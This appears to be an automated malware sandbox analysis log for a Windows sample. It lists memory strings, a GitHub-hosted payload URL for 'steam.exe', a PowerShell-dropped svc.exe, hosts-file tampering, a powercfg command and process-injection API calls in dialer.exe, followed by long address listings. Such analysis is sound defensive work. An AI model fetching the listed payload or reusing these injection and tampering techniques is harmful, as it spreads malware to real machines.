Source: lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 00000018.00000000.1775569736.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2929519617.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: powershell.exe, 00000001.00000002.1726618411.0000000004A40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.com
Source: powershell.exe, 00000001.00000002.1730889772.00000000054AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1844700325.00000202F2274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.1726618411.0000000004A7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://objects.githubusercontent.com
Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.di
Source: lsass.exe, 00000018.00000000.1778605336.00000202C03C5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1775766398.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2932233766.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 00000018.00000002.2937151320.00000202C024E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1776014623.00000202C024C000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: lsass.exe, 00000018.00000002.2947386112.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1777471442.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000003.2257039433.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2945755544.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: lsass.exe, 00000018.00000000.1778605336.00000202C03C5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: lsass.exe, 00000018.00000000.1778605336.00000202C03C5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.
Source: lsass.exe, 00000018.00000002.2937151320.00000202C024E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1777471442.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000003.2257039433.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1776014623.00000202C024C000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2945755544.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1726618411.0000000004596000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: powershell.exe, 00000001.00000002.1726618411.0000000004441000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1799500674.00000202E2201000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1775569736.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2929519617.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: powershell.exe, 00000001.00000002.1726618411.0000000004596000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C03C5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: lsass.exe, 00000018.00000002.2947386112.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1777471442.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000003.2257039433.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2945755544.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0~
Source: powershell.exe, 00000011.00000002.1799500674.00000202E2201000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000001.00000002.1726618411.0000000004441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBfq
Source: powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000011.00000002.1844700325.00000202F2274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.1844700325.00000202F2274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.1844700325.00000202F2274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.1726618411.0000000004596000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.1726618411.0000000004441000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004596000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tarzanre/myrepo/releases/download/a/steam.exe
Source: powershell.exe, 00000001.00000002.1730889772.00000000054AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1844700325.00000202F2274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000001.00000002.1726618411.0000000004A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com
Source: powershell.exe, 00000001.00000002.1726618411.0000000004A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com/github-production-release-asset-2e65be/672232730/d6a03019-07cf
Source: svchost.exe, 00000022.00000000.1854193740.000001D5599A5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns2-by3p.notify.windows.com/?token=AwYAAACklixT6U5TxXWj7Y4oTt3JqNuZjYaQtFRvg3Ifna8Pnwup50yq

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443

Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49732 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\svc.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\svc.exe

Jump to dropped file

Uses powercfg.exe to modify the power settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0

Source: C:\Windows\System32\dialer.exe	Code function: 16_2_00007FF6CD4110C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,	16_2_00007FF6CD4110C0
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC642A7C NtEnumerateValueKey,NtEnumerateValueKey,	23_2_00000225DC642A7C
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AE21CC NtQuerySystemInformation,StrCmpNIW,	24_2_00000202C0AE21CC
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AE26F0 NtQueryDirectoryFileEx,GetFileType,StrCpyW,	24_2_00000202C0AE26F0
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAEDB2A7C NtEnumerateValueKey,NtEnumerateValueKey,	26_2_000002BAAEDB2A7C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00C0B580	1_2_00C0B580
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00C0B571	1_2_00C0B571
Source: C:\Windows\System32\dialer.exe	Code function: 16_2_00007FF6CD412328	16_2_00007FF6CD412328
Source: C:\Windows\System32\dialer.exe	Code function: 16_2_00007FF6CD4114E4	16_2_00007FF6CD4114E4
Source: C:\Windows\System32\dialer.exe	Code function: 16_2_00007FF6CD4126E8	16_2_00007FF6CD4126E8
Source: C:\Windows\System32\dialer.exe	Code function: 16_2_00007FF6CD411DB4	16_2_00007FF6CD411DB4
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC621658	23_2_00000225DC621658
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC61B23C	23_2_00000225DC61B23C
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC61F2F8	23_2_00000225DC61F2F8
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC61B030	23_2_00000225DC61B030
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC6120DC	23_2_00000225DC6120DC
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC652258	23_2_00000225DC652258
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC64BE3C	23_2_00000225DC64BE3C
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC64FEF8	23_2_00000225DC64FEF8
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC64BC30	23_2_00000225DC64BC30
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC642CDC	23_2_00000225DC642CDC
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AC1658	24_2_00000202C0AC1658
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0ABB23C	24_2_00000202C0ABB23C
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0ABF2F8	24_2_00000202C0ABF2F8
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0ABB030	24_2_00000202C0ABB030
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AB20DC	24_2_00000202C0AB20DC
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AF2258	24_2_00000202C0AF2258
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AEBE3C	24_2_00000202C0AEBE3C
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AEFEF8	24_2_00000202C0AEFEF8
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AEBC30	24_2_00000202C0AEBC30
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AE2CDC	24_2_00000202C0AE2CDC
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A6612DF2F8	25_2_000002A6612DF2F8
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A6612E1658	25_2_000002A6612E1658
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A6612DB23C	25_2_000002A6612DB23C
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A6612DB030	25_2_000002A6612DB030
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A6612D20DC	25_2_000002A6612D20DC
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A66130FEF8	25_2_000002A66130FEF8
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A661312258	25_2_000002A661312258
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A66130BE3C	25_2_000002A66130BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A66130BC30	25_2_000002A66130BC30
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A661302CDC	25_2_000002A661302CDC
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAED91658	26_2_000002BAAED91658
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAED8B23C	26_2_000002BAAED8B23C
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAED8F2F8	26_2_000002BAAED8F2F8
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAED8B030	26_2_000002BAAED8B030
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAED820DC	26_2_000002BAAED820DC
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAEDC2258	26_2_000002BAAEDC2258
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAEDBBE3C	26_2_000002BAAEDBBE3C
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAEDBFEF8	26_2_000002BAAEDBFEF8
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAEDBBC30	26_2_000002BAAEDBBC30
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAEDB2CDC	26_2_000002BAAEDB2CDC
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A879920DC	27_2_0000026A879920DC
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A8799B030	27_2_0000026A8799B030
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A8799F2F8	27_2_0000026A8799F2F8
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A8799B23C	27_2_0000026A8799B23C
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A879A1658	27_2_0000026A879A1658
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A879C2CDC	27_2_0000026A879C2CDC
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A879CBC30	27_2_0000026A879CBC30
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A879CFEF8	27_2_0000026A879CFEF8
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A879CBE3C	27_2_0000026A879CBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A879D2258	27_2_0000026A879D2258
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_0000017953781658	28_2_0000017953781658
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001795377B23C	28_2_000001795377B23C
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_00000179537720DC	28_2_00000179537720DC
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001795377B030	28_2_000001795377B030
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001795377F2F8	28_2_000001795377F2F8
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_00000179537B2258	28_2_00000179537B2258
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_00000179537ABE3C	28_2_00000179537ABE3C
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_00000179537A2CDC	28_2_00000179537A2CDC
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_00000179537ABC30	28_2_00000179537ABC30
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_00000179537AFEF8	28_2_00000179537AFEF8
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D541658	29_2_000002295D541658
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D53B23C	29_2_000002295D53B23C
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D53F2F8	29_2_000002295D53F2F8
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D53B030	29_2_000002295D53B030
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D5320DC	29_2_000002295D5320DC
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D572258	29_2_000002295D572258
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D56BE3C	29_2_000002295D56BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D56FEF8	29_2_000002295D56FEF8
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D56BC30	29_2_000002295D56BC30
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D562CDC	29_2_000002295D562CDC
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000253067E1658	30_2_00000253067E1658
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000253067DB23C	30_2_00000253067DB23C
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000253067DF2F8	30_2_00000253067DF2F8
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000253067DB030	30_2_00000253067DB030
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000253067D20DC	30_2_00000253067D20DC
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_0000025306E72258	30_2_0000025306E72258
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_0000025306E6BE3C	30_2_0000025306E6BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_0000025306E6FEF8	30_2_0000025306E6FEF8
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_0000025306E62CDC	30_2_0000025306E62CDC
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_0000025306E6BC30	30_2_0000025306E6BC30
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000001845B3BBC30	31_2_000001845B3BBC30
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000001845B3B2CDC	31_2_000001845B3B2CDC
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000001845B3BBE3C	31_2_000001845B3BBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000001845B3C2258	31_2_000001845B3C2258
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000001845B3BFEF8	31_2_000001845B3BFEF8
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001ADECD42CDC	32_2_000001ADECD42CDC
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001ADECD4BC30	32_2_000001ADECD4BC30
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001ADECD4FEF8	32_2_000001ADECD4FEF8
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001ADECD52258	32_2_000001ADECD52258
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001ADECD4BE3C	32_2_000001ADECD4BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D5590420DC	34_2_000001D5590420DC
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D55904B030	34_2_000001D55904B030
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D55904B23C	34_2_000001D55904B23C
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D559051658	34_2_000001D559051658
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D55904F2F8	34_2_000001D55904F2F8
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D559072CDC	34_2_000001D559072CDC
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D55907BC30	34_2_000001D55907BC30
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D55907BE3C	34_2_000001D55907BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D559082258	34_2_000001D559082258
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D55907FEF8	34_2_000001D55907FEF8
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000241A9EB2258	35_2_00000241A9EB2258
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000241A9EA2CDC	35_2_00000241A9EA2CDC
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000241A9EABC30	35_2_00000241A9EABC30
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000241A9EAFEF8	35_2_00000241A9EAFEF8
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000241A9EABE3C	35_2_00000241A9EABE3C
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD7316B23C	36_2_000001CD7316B23C
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD73171658	36_2_000001CD73171658
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD7316F2F8	36_2_000001CD7316F2F8
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD7316B030	36_2_000001CD7316B030
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD731620DC	36_2_000001CD731620DC
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD7319BE3C	36_2_000001CD7319BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD731A2258	36_2_000001CD731A2258
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD7319FEF8	36_2_000001CD7319FEF8
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD7319BC30	36_2_000001CD7319BC30
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD73192CDC	36_2_000001CD73192CDC
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E8620DC	37_2_000002824E8620DC
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E86B23C	37_2_000002824E86B23C
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E86F2F8	37_2_000002824E86F2F8
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E871658	37_2_000002824E871658
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E86B030	37_2_000002824E86B030
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E892CDC	37_2_000002824E892CDC
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E89BE3C	37_2_000002824E89BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E89FEF8	37_2_000002824E89FEF8
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E8A2258	37_2_000002824E8A2258
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E89BC30	37_2_000002824E89BC30
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B473D1658	38_2_0000021B473D1658
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B473CB23C	38_2_0000021B473CB23C
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B473C20DC	38_2_0000021B473C20DC
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B473CB030	38_2_0000021B473CB030
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B473CF2F8	38_2_0000021B473CF2F8
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B47B42258	38_2_0000021B47B42258
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B47B3BE3C	38_2_0000021B47B3BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B47B32CDC	38_2_0000021B47B32CDC
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B47B3BC30	38_2_0000021B47B3BC30
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B47B3FEF8	38_2_0000021B47B3FEF8
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000002086F9D20DC	39_2_000002086F9D20DC
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000002086F9DB030	39_2_000002086F9DB030
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000002086F9DF2F8	39_2_000002086F9DF2F8
